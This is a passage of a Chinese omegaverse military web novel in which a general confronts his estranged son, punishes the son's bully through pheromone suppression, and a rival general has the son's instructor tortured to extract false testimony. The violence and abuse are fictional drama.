无论输赢,他都在竭尽所能争取。 而时藏锋断然没有想到,时茧会拒绝他的要求—— 可是,想待在他身边,不想去第一军校的,不正是他吗? 为什么他现在愿意满足时茧的要求,时茧却又不需要了? “你可能还在闹脾气,或许是误解了什么,这应该是我没有把事情说明白的错。但我想告诉你的是,最初我把你送去第一军校,是因为那里是一个真空地带,无论哪方势力都难以插手,你待在那里会比待在任何地方都更安全。而现在,即使是第一军校,也已经不再是铁板一块,你已经为此险些付出生命的代价,我需要有更加稳妥的方法照看你,保证你的安全,至少保证你遇到危险之后可以立刻赶去救你,而不必从第九军区千里迢迢飞来。” 时茧轻轻一笑:“第一军校很安全,不安全的人是我,教官从头到尾也没有同意过我的外派申请,是我自己偷偷跟过来的。但说到底这条命是我自己的,任务是成功是失败,责任都由我自己一个人抗下。” 时茧表现得这样有担当又洒脱,时藏锋却反而有些不是滋味了,在他印象里,这个孩子分明一直都还是那个期期艾艾望着自己,会用柔软的声音喊自己爸爸,从小胆子不大、连刮风下雨都要抱着小玩偶来找爸爸一起睡觉的小宝宝,他被宠得脾气又坏又目中无人,爱吃甜食爱顶嘴,他是想过要让他去磨练磨练,至少不要离开家里就活不下去,可他从来也没想过需要这个小宝宝成长到多么独当一面的大英雄。 时藏锋是希望时茧快些长大的,联邦风雨欲来,他深刻地恐惧着自己不能够再庇护他的那一天的到来,可现在看见时茧真的能够脱离他真正地走向独立了,却又有一股不知从何而来,又说不清道不明的怒气—— 为什么会这样? 这难道不是他所希望看见的吗? 时茧见时藏锋眉心紧皱,久久也不说话,主动道:“父亲,我会如您所愿的,您希望我成为什么样子,我就成为什么样子,这是您曾经教导过我的,一个Alpha必须要经历的成长。” 去他妈的Alpha,去他妈的成长—— 有那么一刻,时藏锋真想不管不顾地将内心淤积的郁闷统统发泄出来,可话到嘴边,他看着时茧那双明亮却不沾什么情感的眼睛,那一时的冲动忽然又慢慢冷却,就像火上被浇了一盆冰水那般,满腔愤懑哑然熄火。 他如果真说出来了,那谁做错谁做对,立刻便一目了然。 时藏锋不愿意承认自己错误,他是整个第九军区的总指挥官,在他的辖区内受异种、战乱、暴动祸害的人数近乎为0,这正说明了他这个人的正确无误,那么他在面对自己儿子的教育问题上,又怎么可能有错呢? 何况,何况他做这一切,都是为了保护时茧。 时藏锋强撑着冷静镇定,但声线的略微不稳却暴露出他心里并不如表面上那样稳定,甚至,他并不敢像时茧与他对视那样对视回去,那双鹰一样的,在战场上坚毅果敢的眼睛,此刻盛满不易察觉的愧疚与慌乱。 “我要求你那么做,自然都是有理由的,你也可以不认同,但作为父亲,我必须保证你的安全。” 时茧当然知道时藏锋所做的一切都不可能是因为恨他才做下的,即使他丢失了分化成S++Omega那段时间的记忆,连自己现在到底是Alpha还是Omega都弄不清楚,但他也愿意相信时藏锋的决定背后或许是有什么苦衷、或许是有别的计划,不可否认的是,无论时藏锋最初出于什么想法,他都因为他的决定而吃了不少苦头,一度险些撑不过来。 时藏锋没有详细地解释他对时茧做这些的原因,大概是他自己认为既然从一开始就选择了沉默,那么现在再反复提起,就有些替自己开脱的嫌疑了。 时茧明白他的顾虑,他知道,时藏锋也一定能感受到他现在的态度,到底他们是父子,他的身体里流着时藏锋的血,抛却那些恩恩怨怨,这天底下没有人比时茧更懂时藏锋,哪怕是他的亲哥哥、时藏锋的另外一个亲生儿子也不可以。 所以时茧对时藏锋说:“我相信你有苦衷,相信你并非真的恨我、厌弃我,毕竟我的生命来自你,幸福来自你,你也不会舍得真那样对待我。但父亲,除了那些,我的眼泪来自你,痛苦也来自你。” “你赠予我的生命许多东西,无论好的坏的,我该拿什么给你才能还清?我还有什么能够给你?” “其实我真的想恨你,我做了一个很混乱的梦,梦里每个片段里的我每时每刻都在痛苦。可是你是我的父亲,我恨不了我的父亲,我还是会爱着你,如果你实在坚持,我愿意做一切你想让我做的事,因为除了这身血、这身骨头、这条命,我没有什么能够给你了。” 时茧字字泣血,他本来不想再把藏起来的那个自己挖出来剖开给任何一个人看,可时藏锋却又不同于任何人,他还不能那么快地对这个人做到真正的熟视无睹。可一个人的情绪终归是有限的,爱用一点少一点,恨用一点少一点,怨怼是这样、愤怒也是这样—— 至少此时此刻,时茧感觉到自己心里千疮百孔的那个地方,疼痛感已经又减轻了几分。 他想他应该很快就可以彻底不痛了。 时藏锋已经彻底无法去看时茧的眼睛,他当年被异种的高射炮打断胳膊的时候都没有像现在这样痛过,像有人拿着一把生了锈的刀,把他的心一寸寸地缓慢艰难地割下来,连死都不能够死个痛快。 他悲哀地看着幼子尖瘦脆弱的下巴,心想,事情为什么会走到这一步。 他在做下这个决定的时候,从来也没有想过他和幼子之间会谈到恨,谈到生死。 时藏锋仿佛看见他真的一步步将时茧逼到天台,把他逼到无可回头的绝路上,哪怕那并非他的本愿。 明明一开始,他只是希望时茧待在第一军校里,低调安稳地度过这段时间,等他处理好一切,就把他接回家,把那被隐瞒的性别还给他。 明明只是很简单的一个决定。 事到如今他终于知道这个决定给时茧带来了多大的伤害,以至于把那个最喜欢爸爸、最爱黏着爸爸的小公主伤得体无完肤,不想要再接近这个会带给他痛苦的人; 可一切好像都已经晚了。 时茧不想再听他的话,不需要他的保护,也不叫他爸爸,不是在闹脾气,也不是撒娇想让他低头,他就是如他话里所说的那样,如果可以把一身性命都还给他,换来两个人毫无瓜葛就好了。 他的孩子,不想再跟他有任何关系。 时藏锋在时茧平静到近乎冷漠的目光中彻彻底底败下阵来,尝到了他当初种下的苦果。 副官在特护病房外的沙发上打盹,忽然听到一声极重的开门声,吓得猛一惊醒险些从沙发上摔下来,还没来得及爬起,就看见进去时还正常的上将满脸黑沉、压抑着即将迸发的怒气,大步流星走在前头。 “把牧野给我找来,找不来他就把余维生的那个狗崽子绑来!” 副官一骨碌爬起,战战兢兢地跟在时藏锋身后,一边胡乱点头答应,一边头脑风暴:不对啊,当初那事儿刚闹出来的时候上将不就通过对余上将施压的方式,逼他狠狠惩戒教训过余公子一番吗?后来据说放回去后和自家小少爷又打了一架,但小少爷关一次禁闭放出来后就捅他一次,据说把他捅得都不举了,小少爷也没吃什么亏—— 怎么突然这时候又翻起旧账来了? 他胆大包天地抬起头,悄默声打量了一眼时上将,立刻就被那风雨欲来的脸色吓得一激灵,忙低下头,生怕和那双杀神修罗一样的眼睛对上。 这种关节上触霉头,那下一个要收拾的保不齐就是自己了——他真要被扫地出门了,以后还怎么给军校里的弟弟铺路? 副官欲哭无泪,心里的小人流着两行宽面条泪,跪地仰天长啸:这他妈到底谁啊把上将逼疯了!!! 但无论怎么说,能给时藏锋当副官的人,执行力总是不会太差的,付山一副窝窝囊囊的样子就把事情给办了,余宸上一秒还在病房躲被窝里偷看黄色杂志试图唤醒自己的老二,下一秒就被“请”到了时藏锋的临时办公室。 余宸一脸懵逼,头发都还是乱成鸡窝头的造型,还在输血的手背也是被付山硬生生把针头扯掉了,正往外飚着血。 怎么,这是丑儿婿总得见岳父吗? 这位传说中的时上将派人把他绑过来了? 时藏锋真对上余宸时,最开始那种即将火山爆发的怒气反倒渐渐平息下来了,他毕竟是拥兵自重自治一方,是联邦赫赫有名的实战派将星,军功和拥趸数不胜数,自然犯不着在余宸这样不值一提的小辈面前失了分寸,白白让人看笑话。 余宸在此之前只在军事频道和他爹的口中听说过时藏锋,并不熟悉这位时上将的风格,见他面无表情眼神沉稳,只是单纯的摸不着头脑,丝毫不知道自己大难临头。 副官经常跟在时藏锋身边鞍前马后,倒是清楚上将直接大发雷霆或许还好些,那样气消了也就恢复风平浪静,但要是从面上看不出什么名堂,那才是真狂风骤雨。 第64章 第 64 章 同态复仇 余宸等了好一会儿也不见时藏锋有动静, 耐不住性子主动道:“时上将这么晚请我来,是有什么要紧事吩咐?还是想了解一下当时的情况?我都知无不言。” 副官心一凉,寻思这孩子上赶着找死啊, 不禁为他捏了把汗。 时藏锋没有先回答余宸的问题, 看了眼副官:“你先出去。” 副官满脸怜悯,走过余宸身边时, 在心里祝他好运。 余宸正纳闷, 他和时藏锋有什么机密话题, 是连自己贴身副官都不能听的?然而下一秒, 他的脸色忽然一变, 痛苦中带着不可置信地抬起头, 直瞪着时藏锋。 凛冽肃杀的冷杉信息素在一瞬间遍布房间里的每个角落, S+级别的基因等级如同山巅般不可逾越, 余宸的A+基因等级毫无反抗之力, 犹如他当年利用信息素等级差异折磨时茧一样, 今时今日, 也被时藏锋的信息素轻松碾压。 余宸的膝盖几乎是在被压制的那一瞬间就弯了下去, 狠狠地跪在坚硬冰冷的地砖上,“砰”地一声,响亮得连门外的副官都能听见, 膝盖不由得一凉。 余宸双手撑在地上才能勉强克制自己不完全匍匐,他艰难地试图抬起头, 然而从那个角度,他只能够看见时藏锋漆黑晃亮的军靴。 Alpha与生俱来的反抗和叛逆精神让余宸无法接受自己就这样被时藏锋踩在脚下,可犹如狼群般等级森严的信息素压制却又让他不得不臣服,而余宸从小呼风唤雨长大,除了他父亲, 还从未有人敢如此羞辱他。 极端的耻辱心让他的精神濒临崩溃,腺体如风中残烛般在铺天盖地的冷杉信息素中被疯狂地拉扯,被撕裂成一片片碎片。他犹如困境之中绝望的野兽般痛苦哀嚎,连脖子一侧的青筋都像盘虬错节的树根般剧烈隆起,因充血而赤红的眼珠突兀地也几乎要掉出来一样。 最让余宸无法忍受的是时藏锋高高在上地冷眼旁观着自己的丑态,在他众星捧月的人生里,除了时茧,从来没有人敢这样看他、从来没有人敢这样羞辱他,他愤怒地嘶吼着、挣扎着,然而于事无补,他仍旧摆脱不了时藏锋的S+信息素的控制。 时茧、时茧…… 好奇怪,在这种焚烧灵魂的痛苦之下,余宸满脑子除了屈辱和愤怒之外,居然只剩下那个留着一头蓝发、又漂亮又高傲的少年,他回忆着时茧被自己用信息素压制时痛苦压抑的表情,身体深处慢慢涌上一种兴奋的同时,忽然又想到,那时的时茧,遭受的痛苦和自己如今是一模一样的吗? 不是吧…… E级的Alpha,在面对高等级的信息素等级压制时,感知到的痛苦只会比他现在更加具体也更加难以忍耐,余宸至今都无法理解时茧当时究竟是怎么忍下来的,尤其是他也被同类复仇的当下,因为他自己都做不到,他这个自诩为胜残次品Alpha一等的高等级Alpha,居然方方面面都输给了那个残次品Alpha。 余宸眼前的视线逐渐模糊,他痛得一句话也说不出来,上一刻还清晰的时茧的样子,这一秒就宛如水中倒影,他只记得少年眼角倔强的没有在他面前掉下来的那一滴眼泪,像一颗剔透的闪闪发亮的珍珠,藏在他的记忆深处。 直到余宸的眼角和腺体都开始出血,从开始到现在对余宸都未发一言、甚至没有任何动作的时藏锋,才终于停止释放自己的信息素,结束了这场单方面的碾压。 他的腿往后一退,站起身来,不疾不徐地走到余宸身前,眼神冷漠地俯视着这条落水狗般的第一军区太子爷—— 军校里人人吹捧的太子爷,在时藏锋看来,也不过就是个难堪大用的纨绔子弟。他浪费时间来惩治,都算是替余维教训这个他自己没养好的败家子。 放在平时,时藏锋根本连看都不会多看一眼余宸这样的废物二代,但现在不巧的是,他正因为小儿子和他闹脾气的事非常、非常,非常不爽。 哪怕余维真的为了这样一个垃圾来找他麻烦,最不济还他一批军火,摆平事情是没那么容易,但也没有那么困难。 余宸脱力地倒在地上,血水和冷汗混在一起,去了半条命。 “听说你很喜欢用信息素等级压制来欺负比你等级弱的人,”这是今晚时藏锋开口的第二句话,也是他对余宸说的第一句话,声音冷入脊髓,“你觉得自己很了不起。但其实你连真正的信息素都不会用,弄点小打小闹的把戏,就认为自己足够在军校里称王称霸,现在知道你的那些手段有多小儿科了吗?” 余宸大笑着咳出几口鲜血,他知道自己在时藏锋面前如待宰羔羊般毫无还手之力,干脆就不挣扎了,躺在地上大胆地直视着那双老鹰一样锐利的眼睛,嘴角带着一丝似有若无地嘲讽笑意:“咳咳、咳,时上将这是来,来给时小少爷撑场子啊,晚辈甘拜下风。” 时藏锋一言不发,居高临下地看着他,那眼神里蕴含着余宸最无法接受的轻蔑,根本无需有多明显。 单单只是被那双眼睛看着,余宸都有些受不了,这种完全蔑视的神情让他不可避免地回想起自己刚刚的狼狈,完全丧失了理智,口不择言地反唇相讥:“怎么?咳咳,觉得自己替儿子教训校霸,特别威风?能拿去给儿子邀功?这都什么时候了?才想起来这件事啊?那以前呢?以前你儿子最需要你的时候,怎么不见你出来大发威风?” “我很惨是不是?在你面前一点还手之力都没有,像条狗一样祈求你高抬贵手放过,看着真可怜啊——是啊,当初你儿子在我手里也这么可怜,刚从Omega分化成Alpha没多久吧?长得还是和Omega一模一样,欺负起来可比欺负一个单纯的Alpha爽多了!” 越是往下说,余宸越是感到一种畅快,他不管时藏锋听到这些话会不会有所触动,他就是要让时藏锋意识到,如果没有他们的漠视和纵容,时茧也就根本不会落到他手里,更不会发生后面那么多的事。 甚至说着说着,余宸对时藏锋原本的愤怒变成了一种迁怒,还有完全不讲道理的恨,他想如果不是这些人放纵事态往无法控制的方向发展,如果在他第一次对时茧出言不逊的时候就有人站出来像时藏锋今天这样报复的力度来阻止他,那他也许就不会像迷了心窍一样对时茧做出那些无可挽回的事,也许……也许…… 也许,他们之间的关系就不会像现在这般,一定是你死我活。 “时上将,你说你当初都没找我茬,现在又来充当什么好人?不会是——咳咳——” 余宸忽然被时藏锋隔着手套单手掐住脖子,对上男人阴郁的眼神,顾不上窒息的痛苦,反而畅快地放声大笑:“哈哈哈哈哈哈,不会是、咳、不会是你儿子差点死了,你发现他不认你这个爹了,才赶紧来拿我开刀,咳咳,试图、试图挽回你儿子吧?” 脖子上的力度渐渐收紧,余宸的眼前冒出阵阵白星,他下意识地伸手抓住时藏锋的手,喉咙里发出“嗬嗬”的吸气声,舌后跟也逐渐感受到一种浓郁腥甜。 将要窒息之际,余宸空白一片的大脑想到的居然还是时茧,他想起来这人曾经也被自己这样对待过,那纤细的、天鹅一样的脖颈淤青了好些天,白玉有瑕,这瑕疵还是自己亲手创造出来的,这种认知让他兴奋了好久。 他总是控制不住地想欺负时茧,想从他颤抖的声音里听见自己的名字,想看到他倒映着自己身影的眼睛里流出眼泪,想让他做的每一个辗转反侧的噩梦里都是自己的脸,想在他瓷白无瑕的身体上留下只属于自己的印记—— 余宸好想、好想彻底地破坏和占有时茧,让他变成专属于自己的所有物,这种想法哪怕到今天也没有改变过。 可是得知时茧被绑架面临生命危险时,这样的念头在他心里却又从未有一刻出现过,他不敢去幻想时茧会被如何折磨、也不敢想他如果真的有什么不测那该怎么办,他满脑子想的只有怎么保证时茧的安全,怎么把他救回来,那场爆炸发生时他没有想过要出去,要不是顾识云把他扔出去来不及返回了,一命换一命的就应该是自己才对! 顾识云能够为时茧做的,他余宸一样能做—— 他凭什么不能做?他和时茧从小就认识,他们彼此憎恨过也做过朋友,顾识云才认识时茧多久?凭什么只有他能够替时茧豁出性命?凭什么他余宸就不行?一条命很稀奇吗,只有顾识云有吗,他余宸就没有吗?! 濒临死亡的这一秒,余宸想了很多很多,最后想的是,如果被时藏锋因复仇而杀死也算把这条命给了时茧的话,那能让时茧背起自己这条命,好像也是一件特别划算的事。 只是到最后关头,那几乎要被拧断的脖子忽然又松出一口气来。 时藏锋放开了他,险些失控的暴戾过后,他扭曲的表情已经恢复正常,依旧是一开始余宸见他那副无懈可击的样子。 “滚吧。” “你不配出现在他面前,你的名字、生死,都和他没有一丝一缕的瓜葛,你也休想有这份瓜葛。” 余宸惨白一笑,声带严重受损,沙哑得几乎听不清:“是吗。” 那可不一定。 第65章 第 65 章 “别过来。” 时茧没有顾识云的线索, 只好安心养病,以往忙得脚不沾地的时序居然有空隔三差五地就来看他,虽然每次还是都说不上几句话就又匆匆要去开会, 可他就像对这种事上瘾了一样, 哪怕时茧背对着他明显不想搭理,也能自说自话好一会儿, 一点也不觉得尴尬, 反而后悔没有早点关心幼弟, 否则他们亲兄弟之间, 也不会落到个无话可说的地步。 无论如何, 时序还是觉得安心, 一种前所未有的安心, 即使时茧对他很冷淡, 甚至算得上是漠然, 但那些连关系最紧密的助理也无法倾述的话, 作为最年轻的上议院议长所要承受的高压……等种种, 在这间充盈着淡淡的小苍兰香味的病房里, 都得到了一个得以被妥善安置的位置。 除了时序,温隅安和时藏锋偶尔也来。 温隅安被时藏锋压在调查Omega极端崇拜组织的事上几乎抽不开空,就经常自己做好饭再让下属开车送过去, 但几乎每次都原封不动地被退回来。 “又没有吃?”温隅安皱眉。 下属战战兢兢道:“小少爷……呃……他说没胃口。” 其实很多次时茧都是直截了当地告诉他,如果是温隅安送来的饭菜, 那就直接倒掉或者自己吃掉吧。 而那些欲言又止,没有说明的话,下属也能从时小少爷的眼神中读出来,或许是为了在外人面前给自己的养兄留一点面子,才没有直接说这些东西恶心得他看一眼就会吐。 下属自然是不敢把这些话说给温隅安听的。 但其实他不说, 温隅安心里多少也明白些什么,只是某种似乎在确切地失去而又无法挽回的心态使他焦躁不安,下意识地就把责任丢给了可怜无辜的跑腿下属:“他记性好,哪怕只见过你一面也会记住你的脸,何况你天天跑,他自然知道你是谁的人。你就不会乔装打扮一下,换个护士之类的身份把饭送过去?” 下属心里犯嘀咕,心想你自己也清楚是因为你人家才不接受我送过去的饭菜啊,但上司的命令哪敢违背,也只能硬着头皮答应下来。 温隅安心底那股虬结已久的怨气算是发泄出冰山一角,他挥挥手,让下属把饭菜留下出去。 这一来一回两三个小时,再是色香味俱全的菜品也早冷了,表面凝固着一层淡淡的油,入口味道着实不怎么好,但温隅安仍旧一口一口自虐般吃完了。 他让警卫员来清理垃圾,后者注意到长官以拳抵着胃,面露难受之色,不免担忧道:”您怎么了?身体哪里不舒服吗?我去叫军医来。” 温隅安摆摆手,压下那阵剧痛,缓过神后勉强笑道:“不用了,一点老毛病。” 警卫员忧心忡忡地收拾着厨余垃圾离开了:哪有人胃不好还天天吃残羹剩饭的,这不是自己给自己找罪受吗? 他才刚出去没多久,温隅安的办公室又被推门而入:“最后一批俘虏已经审讯完毕,口供都在这里了。” 沈行川把厚厚几摞文件夹重重地往温隅安办公桌上一放,毫无从前对温教官的敬畏,急迫道:“时茧呢?他现在在哪个医院?这么久了,我们连他恢复情况怎么样都不知道,你是他养兄,应该更清楚内情吧?” 温隅安自嘲般笑出两声,心道养兄又怎么样,做过这么多伤害时茧的事,他又哪里来的脸面去标榜自己还是时茧的至爱亲朋。 现在在时茧心里,他的地位,恐怕都不如眼前这个被时茧划分到好朋友范围里的沈行川吧。 温隅安冷眼看着沈行川焦急的追问,心中阴暗地生出一丝嫉妒,这个人……明明就不该出现在时茧的生命中的。更不应该,成为他付出信任的至交好友。 沈行川半天也等不到温隅安的回应,更着急了:“到底怎么回事?他现在是好是坏,总得有个准信儿啊,我们这么多人日日夜夜的都为这件事揪着心,要不是还有这么个任务在这儿钓着,我现在早就带着陆空指小队满大街找人了。” 温隅安拿起一本文件夹,有一搭没一搭地翻阅着,皮笑肉不笑道:“不是早就跟你说过吗,我父亲还没有把那些极端组织的人都折磨致死,就代表我弟弟目前情况稳定,正在逐步恢复。” 沈行川:“这句话你一个星期之前就已经说过了,我不知道你具体是想表达些什么,但如果时上将这么舍不得时茧受苦睚眦必报的话,他也许在时茧一开始受欺负的时候就应该站出来,而不是现在才亡羊补牢。” “你说得对。” “你别糊弄我了!”沈行川看不惯温隅安这幅不紧不慢的样子,语气已经有些崩溃,“算我和陆空指小队的同学们求你了,温教官,请您告诉我们时茧同学的医院和病房号吧,我们别无恶意,只是想确认一下时茧同学目前的安危,顺便向他致以最纯粹崇高的敬意。” 温隅安把文件夹往办公桌上一丢,十指交叉,不疾不徐道:“按照时茧现在的恢复时间,他应该是能够赶得上这件事初步调查结束之后的表彰大会的,我想他也应该会去参加,毕竟军方能够捣毁这个极端组织,他是头等大功臣,理应接受这份荣誉,不是吗?所以你们也不用急这一时,到时间了自然会见到他的。” 沈行川握紧双拳,梗着脖子瞪了温隅安半天,后者当他不存在,最后也无可奈何,只好回去。 而同一时间,时藏锋也将这份消息带给时茧。 彼时时茧正在整理床铺,纯白色的被褥被他叠成整整齐齐的豆腐块。 时藏锋的眼神中流露出一丝惊讶:“你伤还没好全,做这些干什么,按铃把护工叫来就行了。” 时茧背对着他,声音淡淡的:“但不是您希望我能够独立吗?我现在能够把自己照顾得很好,您应该乐见其成才对。” 时藏锋扣住门把的手指用力到泛白,片刻后,沉声道:“那也该分清楚时候,你现在是伤员。” “我为自己受的伤而感到光荣,在战场上挂彩,这是每一个联邦军人的荣誉。” 连时藏锋都会打心底认可的真理,但前提是这话不是由时茧嘴里说出来。 他心里莫名很难受,时茧现在的种种表现和谈吐完美得不能够更完美,他早已经是一个合格的战士,可作为一个父亲而非军人,他却并不希望自己的儿子懂事听话到这种地步。 他甚至更愿意相信时茧说这些是气话,在故意和他较劲,那样时藏锋心里或许还会好受些。 时藏锋垂眸,不再就这个话题展开过多讨论,将话题切到此行目的:“除了高层头目之外,Omega极端崇拜组织的成员和受害者已经全部统计完毕,审讯工作已经开始收尾,情报部门也在抓紧修复因爆炸而损毁的电脑,相信很快就能够把这个组织存在的目的和他们正在研究的项目调查得水落石出。” 时藏锋顿了顿,看向时茧的眼神里骄傲与心疼交织,心情很是复杂:“整个任务能够这么顺利,联邦和人民都应该要感谢你和顾识云。你做得很好,小茧。” 即使记忆被打乱后,那些强烈存在过的情绪已经随之七零八落,但这句肯定,时茧曾经无比期待,即使时至今日,也依旧会为这句话而心跳加快。 时茧的呼吸急促了一些,他的心底不知从哪里生出一股混合着委屈的愤怒,让他想转过身冲着时藏锋歇斯底里地质问,他等待这么久的一句话,为什么一直都不愿意给他,一定要等到现在,他已经不那么需要了,才舍得赏赐般说出来—— 可他不稀罕了,他根本就不需要再靠父亲的一句肯定来找到自己存在的价值和意义,娇生惯养的蝴蝶早已飞出高塔,没有什么东西能够困住它。 时茧满脸是泪地走到时藏锋面前,一把抢过他手里的皇帝亲笔,泪眼模糊地快速扫过标题和开头,紧紧地攥在手心里,像攥紧了什么救命稻草。 时藏锋抬起手,想帮时茧擦掉眼泪,却在即将碰到他脸颊的前一秒被狠狠打开,迎面撞上的是一双闪烁着愤怒、仇恨的眼睛。 时茧的声音带着些许哭腔,语气很不平稳,听得时藏锋无端揪心起来:“我不是只有在做得好的时候才是你自以为豪的小茧,不管我做不做得好,我都对得起自己,我不用你们任何人来嘉赏我。” 时藏锋有些情急,他不知道该怎么解释这些误会,自己也清楚现在再来说这些话显得过分苍白了,却又无法对时茧的眼泪无动于衷:“我从未那么想过。不管你相不相信,送你去第一军校的主要目的是为了保护你,爸爸从来、从来,都没有因为你分化成低等级的Alpha而感到耻辱过,我只希望你平平安安地度过这段时间,等我把一切都处理好。我并不需要你去做什么联邦英雄联邦战士,也不想看到你为了证明自己弄得到处都是一身伤,当我看见你不省人事地被送进手术室里时,我后悔得想回到过去杀了做下那个决定的我自己。你忘记了吗小茧,爸爸说过,无论你是多笨的小鹰,你都可以躲在爸爸的羽翼之下。” 他说着,眼眶渐渐红了,低沉磁性的声音也有些不稳:“我一直都以为我的做法是对的,那些事也不必告诉你,我自己一个人清楚就好,让你远离漩涡中心,远离危险,这就是正确的选择。” “但也是因为这个选择,才让你吃了这么多苦……对不起,小茧。” 时藏锋终于肯承认他当初的做法对时茧产生了莫大的伤害,但迟来的道歉只让时茧替曾经孤立无援的自己感到不值得,他心里没有任何如释重负或者报仇雪恨的想法,他呆滞地流着眼泪,隔着泪水看向低下头颅的父亲,依旧是那么高大,像座山一样具有安全感。 时藏锋很像抱一下自己的孩子,告诉他是爸爸做错,请原谅爸爸。 时茧却不由自主地往后退了一步,脸色有些苍白的,抬手捂住了后颈:“别过来。” 时藏锋愕然。 时茧痛苦道:“你的信息素让我很难受,不要再过来了,要么你出去,要么我走。” 时藏锋整个人都恍惚了一下,熟悉的话和不同的两道声线交叠着在他耳边响起,他本以为时茧的疏离就足以让他郁结,从未想到真正的凌迟之刑正藏在他从前说过的每一句话、做出的每一个动作里。 他仿佛失了魂魄一般,麻木地走出病房,副官看到的只剩一具行尸走肉。 第66章 第 66 章 不配。 时藏锋在病房外的沙发上呆坐许久, 他担心时茧到底被自己的信息素影响到什么程度,心思全都挂在病房里,却又不敢再进去, 恐惧着那句话再一次响起。 刚才他能够因为惊愕而勉强逃过一劫, 但现在的时藏锋根本不可能再承受一次时茧的驱赶,而最可怕的是, 这句话他曾经也用在时茧身上过, 如今时茧只不过是原封不动地如数奉还。 心脏像是被子弹反复地穿过, 一朵朵血花在胸腔中爆炸, 痛得时藏锋近乎麻木。 他从病房里出来的那一刻起, 副官就觉察出不对劲, 心惊胆战地站在一边, 生怕上将又像前几天那样发疯, 把余维的儿子叫来虐得就剩一口气, 最后还是叫来医护人员抬走去急救的, 昨天才刚脱离危险, 但遭受到S+级Alpha刻意为之下的毁灭性打击后, 被特极信息素攻击过的腺体短时间内是不能再用了,一个Alpha开疆扩土建功立业的黄金时间就这么几年,余小公子这下算是前功尽弃, 再也狂妄不起来了。 把人儿子搞成这样,那位余上将又怎么可能咽得下这口气, 据说已经让下面的人整理小少爷不听从学校安排、私自参与到外派任务中的证据,一旦坐实,到时候别说拿命拼才换来的军功和荣誉,搞不好还得以“妨害军事进度”的罪名被送上军事法庭。 这方面自然有另外两位少爷周旋,可看这一家子人, 尤其是时上将的精神状态,再这么在小少爷这儿吃瘪下去,还不知道能折腾出多少幺蛾子。 副官长长地叹了口气,有句话藏在心里死活也不敢说。 ——唉,老生常谈得好,早知今日又何必当初啊。 * “哗啦——” 一盆冰水迎头浇在牧野脸上,在低温的刺激下呛咳着苏醒过来。 他被绑在电椅上,除了军装有些狼狈之外看上去没什么外伤,实则腺体已经被各种刑讯逼供的手段折磨得红肿发炎,肿大得像一个糜烂的枣子,往外渗着丝丝黄红掺杂的血水。 负责叫醒他的人提着水桶退到一边,牧野骤然接触到强光,不舒服地眯了眯眼睛,缓了好一阵儿才渐渐看清了坐在前方不远处的人。 他觑着眼睛,脑子运转一会儿后,才对上人:“余上将,怎么劳烦您亲自过来。” 余维的声音很平和,看牧野的眼神单纯地就只是在看一个罪犯般,淡淡道:“毕竟是第九军区的人,不亲自跑一趟,怎么显得出我对时藏锋上将的重视?” 牧野笑着吐出一口血水,眼睛亮得出奇,直勾勾地看着余维,毫无惧色:“是么?那感谢招待了。” 余维从鼻子里哼出一声:“大家都是忙人,也是聪明人,牧教官也该懂审时度势这几个字,趁早指认你的学生私自窃取军事机密、干涉军事任务进度,你也能早点验明正身,免得受这些无妄的牢狱之灾。” 牧野笑道:“余上将既然都认定我替时上将办事了,怎么还会天真地认为我会出卖上级呢?这岂不是自相矛盾、逻辑不通吗?” 余维说:“听人说,牧教官平生最恨沽名钓誉、蒙受荫蔽的贵族子弟,也当着大庭广众的面惩治过不少次犬子和时小少爷——想来您这样一个有原则的人,即使只是为了‘为人师表’这几个字,应当也会实事求是地处理此次时小少爷破坏军事行动的违规事件吧。” 牧野忍受着浑身上下如卡车碾过的疼痛,舔了舔嘴角撕裂的伤口,语气里有几分个人特色的吊儿郎当:“当然了。” 余维看向他。 牧野挑挑眉毛:“作为教官,我必须要承担起上报不及时、导致学校统计的名单漏记时茧的责任。他一个还没正式出过任务的菜鸟,对于报名流程不熟悉,而我作为他的教官,本身就有职责,现在出现事故,我自然要负起责任来——您说对吗,余上将?” 余维起身,摆摆手:“继续。别弄出明显外伤,别弄死在这儿,什么时候他肯指控时茧,什么时候停下来。” 他刚走出去两步,身后便传来电流滋啦的声音,和成年男性痛苦到极致的嘶吼,但电流停下的空档,那撕心裂肺的喊叫却又变成了放肆的大笑,一声一声如针般刺穿着余维的耳膜。 该死的,连一个退役军官都能嘲笑他! 余维几乎要控制不住满心的怒气,眼睛闭了又闭,最后开口时,何止是眼神,连字里行间的语气都染上一种冷血动物般黏腻腥湿的阴毒。 “给他五天时间,如果怎么也撬不开这张硬嘴,那就如他所愿,以渎职和妨碍军事行动的罪名判处绞刑,就在中心区的处刑台上!让全联邦的人都过来看看他的下场!” “是!” 行刑的间隙,牧野疼得满头大汗,剧烈喘息着,听到自己几天后要面临的结局时,忍不住苦笑几声,在心中无声自嘲道:让你自己乌鸦嘴,当初要跟时茧说什么迟早被那群贵族弄死,现在一语成谶了吧。 在审讯官们不解的视线中,牧野低声笑起来,姿态随意地靠在电椅上,眼神似乎很怀念地空望着某处,从他的表情里丝毫看不出对刑讯逼供和绞刑的恐惧,反倒有一种死得其所的释然。 这种释然还真不是牧野装出来的,他知道光是凭借着时茧舍命挖出来的这些线索,一定能够帮时藏锋大忙,早日揪出来为祸联邦的“杜鹃计划”究竟是什么,而他能够替时茧挡下这场飞来横祸,替时茧去死,这条命就已经值回本钱了。 不过,他对自己的死只有值得这么简单的想法吗?牧野放空地想,他总觉得这里面多多少少还掺杂着一些其他东西。 是愧疚得以弥补,还是为人师表、这次总算能给自己学生做个榜样,或者…… 牧野想了很多,但自己也想不明白,反正归根结底,他到底都是对不起时茧的,很多次有能力阻止余宸对他的欺凌也都只是冷眼旁观任由事态发展,甚至火上加油,明明是为人师长,却没尽到一点儿应尽的职责,完全违背了一个老师应该遵守的道德,只因为自己的价值观喜恶就将一个无辜的学生推下深渊—— 扪心自问,他真的不配做一个老师。 时茧无论有多恨他,都是应该的。他实在没有给这个孩子的人生开到一个好头。 所以如果能拿这条命补偿给他,也许……他能有那么百分之一获得原谅的机会呢? 当尖锐的电流再一次流经牧野全身的时候,他一边痛苦地嘶吼着,全身青筋暴起,用于束缚的绑带都险些被挣开;一边又意识不清地想,对不起啊时茧同学,如果能重来的话,希望你能遇见一个更尊重你、更体谅你的教官,我实在是,实在是…… 枉为人师。 * 三天后,时茧又经历了一遍细致到手指甲的复检,显示已无大碍,只是一些外伤短时间内还需要休养,但已经达到出院标准。 时茧则觉得他前几天就已经可以出院了,根本就没必要多住这么几天的院,简直是耽误时间和正事。 